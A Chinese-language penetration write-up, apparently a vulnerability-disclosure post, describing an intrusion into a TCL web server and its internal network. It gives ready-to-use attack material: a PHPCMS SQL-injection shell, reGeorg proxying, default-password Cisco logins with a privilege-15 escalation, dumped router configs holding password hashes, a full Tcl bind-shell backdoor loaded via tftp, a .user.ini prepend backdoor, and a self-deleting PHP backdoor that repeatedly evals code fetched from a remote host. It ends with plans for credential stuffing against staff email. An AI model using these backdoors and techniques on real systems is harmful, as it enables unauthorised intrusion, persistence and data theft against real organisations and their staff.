常規的,從web業務撕開口子
url:bit.tcl.com
getshell很簡單,phpcms的,一個Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,權限很高,system
看看網卡信息
只有一塊網卡,處於10.4.22的私網地址
在這里,如果我們想要通過這台機器對內網進行滲透,首要工作就是進行內網探測,介紹幾個方法
0x00如果你只是需要對內網的業務主機進行滲透,那么可以優先查看一下hosts,針對hosts中的主機針對性滲透
0x01如果想要對整個C段主機進行滲透,比較完整方便的方法還是掃描,這里就需要我們進行內網代理,然后掃描
正向代理or反向代理,因為此處主機無法通外網,所以我們選擇正向代理
一個我常用的代理reGeorg
https://github.com/sensepost/reGeorg
上傳代理腳本,然后用regerog盡心代理鏈接(regeorg需要urllib3,所以各位需要用到時,先安裝這個模塊)
用nmap等進行代理掃描,很簡單可以使用proxychains或者win 下使用proxycap
因為我們這里指定的端口時2333,所以修改一下proxychains的conf
以此來盡心內網C段的信息探測
0x02當然,僅僅通過掃描,並不能獲取到最全面的信息,最全面的信息,要么就是我們拿到了內網拓撲,或者,我直接日下了路由器
路由器,走你~
通過之前的nmap掃描,我們大概知道了開放web服務的主機
訪問11,12,13三台主機后,發現時cisco的路由器,且是開放web管理的cisco路由器,默認密碼cisco成功進入
開放web管理的思科路由是可以在web端執行命令的,但是我們的路由權限只是1,cisco的權限分級大概是這樣:
管理員是7 ,但是有15個權限分級,15的權限基本屬於為所欲為權限
在這里,因為看到當前路由ios版本號是
低版本的iOS可以利用我之前的一個老洞進行cisco路由提權
因為在web端,可以用privilege15進行命令操作
這樣我們就擁有了一個privilege15的用戶,趕緊telnet進路由看看配置,一定會有驚喜
看到我們確實拿到了privilege15的用戶
那么,來瞅瞅路由配置吧
code 區域
DZSW-3560-A#en
en
DZSW-3560-A#show running-config
show running-config
Building configuration...
Current configuration : 3678 bytes
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname DZSW-3560-A
!
enable password 7 121A0C041104
!
username admin privilege 15 password 7 1543595F507F7D
no aaa new-model
system mtu routing 1500
vtp mode transparent
ip subnet-zero
ip routing
!
!
!
!
--More--
!
!
no file verify auto
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
vlan 218
name Call_Center
!
vlan 220
!
vlan 222
name WEB
!
vlan 223
name DB
!
!
interface Port-channel1
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Port-channel2
description Connect_To_YDBFZX-C3750_Po1
no switchport
ip address 10.68.3.2 255.255.255.252
!
interface GigabitEthernet0/1
switchport access vlan 218
switchport mode access
!
interface GigabitEthernet0/2
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/3
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/4
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/5
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/6
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/7
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/8
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/9
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/10
switchport access vlan 222
switchport mode access
!
幾個業務,DB,辦公的vlan躍然於眼前,當前我們實在web vlan的
其他兩台路由也一樣到玩法
===================分割線==================
那么有的同學就問了,如果我不滿足於在web vlan鬧騰,如果我作為一個黑闊,我要去辦公vlan去耍怎么辦,喲西~既然我們都已經控制了路由啦,當然可以去鬧!
因為我不是運維狗,所以咨詢了z8大屌,他告訴我,少年,你聽過GRE隧道么,誒嘿~
code 區域
GRE 是一種最傳統的隧道協議,其根本功能就是要實現隧道功能,通過隧道連接的兩個遠程網絡就如同直連,GRE在兩個遠程網絡之間模擬出直連鏈路,從而使網絡間 達到直連的效果
http://itchenyi.blog.51cto.com/4745638/1137143
http://www.codesky.net/article/201207/171461.html
大家可以參考這兩個地方
通過GRE隧道配置,我們就可以跑到另外一個vlan去鬧了~
(做人留一線,日后好相見,就不截圖call_center的vlan了,滲透其網段的思路也和之前介紹的一樣)
=========分割線==============
那么又有同學舉手了,如果我滲透的目標無法短時間內就完成,需要進行后滲透,我怎么樣才能讓我之后的滲透也方便呢?
好的,同學你很猥瑣,這里介紹幾個平時我們工作中常用的留后門多法子
首先,這個cisco的路由后門,我們肯定要優先留一個
cisco路由器支持TCL cisco腳本,所以我們的后門也通過這個來完成
code 區域
# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh
這是老外寫的一個后門,先在路由中開啟tclsh模式,然后引入后門腳本
Router#tclsh
Router(tcl)#source tftp://x.x.x.x/backdoor.tcl
這樣我們就留下來后門,下次鏈接可以直接在網段內的機器直接
nc 路由ip 1234(端口在后門腳本中修改)
ok,如果web的入口斷了,這一切都白搭,所以我們還應該對web的機器留下比較隱藏的后門
說兩個,一個是文件形的后門
這個辦法之前phinthon老師已經說過了,就是通過php.ini或者user.ini留后門
在一個有正常php文件的目錄下新建一個.user.ini
內容為
auto_prepend_file=xxx.gif(png/jpg)之類
而你的xxx.gif之類就是你的后門
具體可以參考http://drops.wooyun.org/tips/3424
第二個辦法,非文件形的后門,這樣的后門優勢在於非常隱蔽,一般的網管都發現不了,但是有一個非常大的缺點,重啟,或者進程中斷后門就消失了
原理大概是:后門的代碼第一行刪除自身,然后駐留在后台內存里,等待外部鏈接
code 區域
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
在xxx.txt中寫入你的后門代碼,訪問后就會刪除自己並循環執行txt的代碼,這是之前某人寫過的了
ztz最近有寫了一個更贊的無文件后門,你們快去找他要
除了這樣的,如果主機是linux,也可以用前段時間豬豬俠說的crontab做后門
漏洞證明:
我們來大概總結一下這次滲透,首先通過外部業務撕開入口,通過代理的方式對內網進行探測,發現了cisco路由,於是利用之前的漏洞進行提權,搞定了路由器,整個vlan划分展露無遺,開啟god mode
因為我們這里是概念性的測試,所以尺度不能太大,但是,如果我是一個黑客,我接下來會做的事兒:
利用tunna轉發3389出外網鏈接(但是在這個場景中,出外網限制了部分端口,但是可以查詢dns,我們應該利用端口復用的方式),遠程桌面后擴大戰果(嗅探其他機器)
讀數據庫我們看到了很多tcl的員工用戶數據,可以直接對tcl的企業郵箱直接撞褲攻擊
因為路由器搞定了,跨vlan到另外的段,繼續進行滲透
概念性證明圖: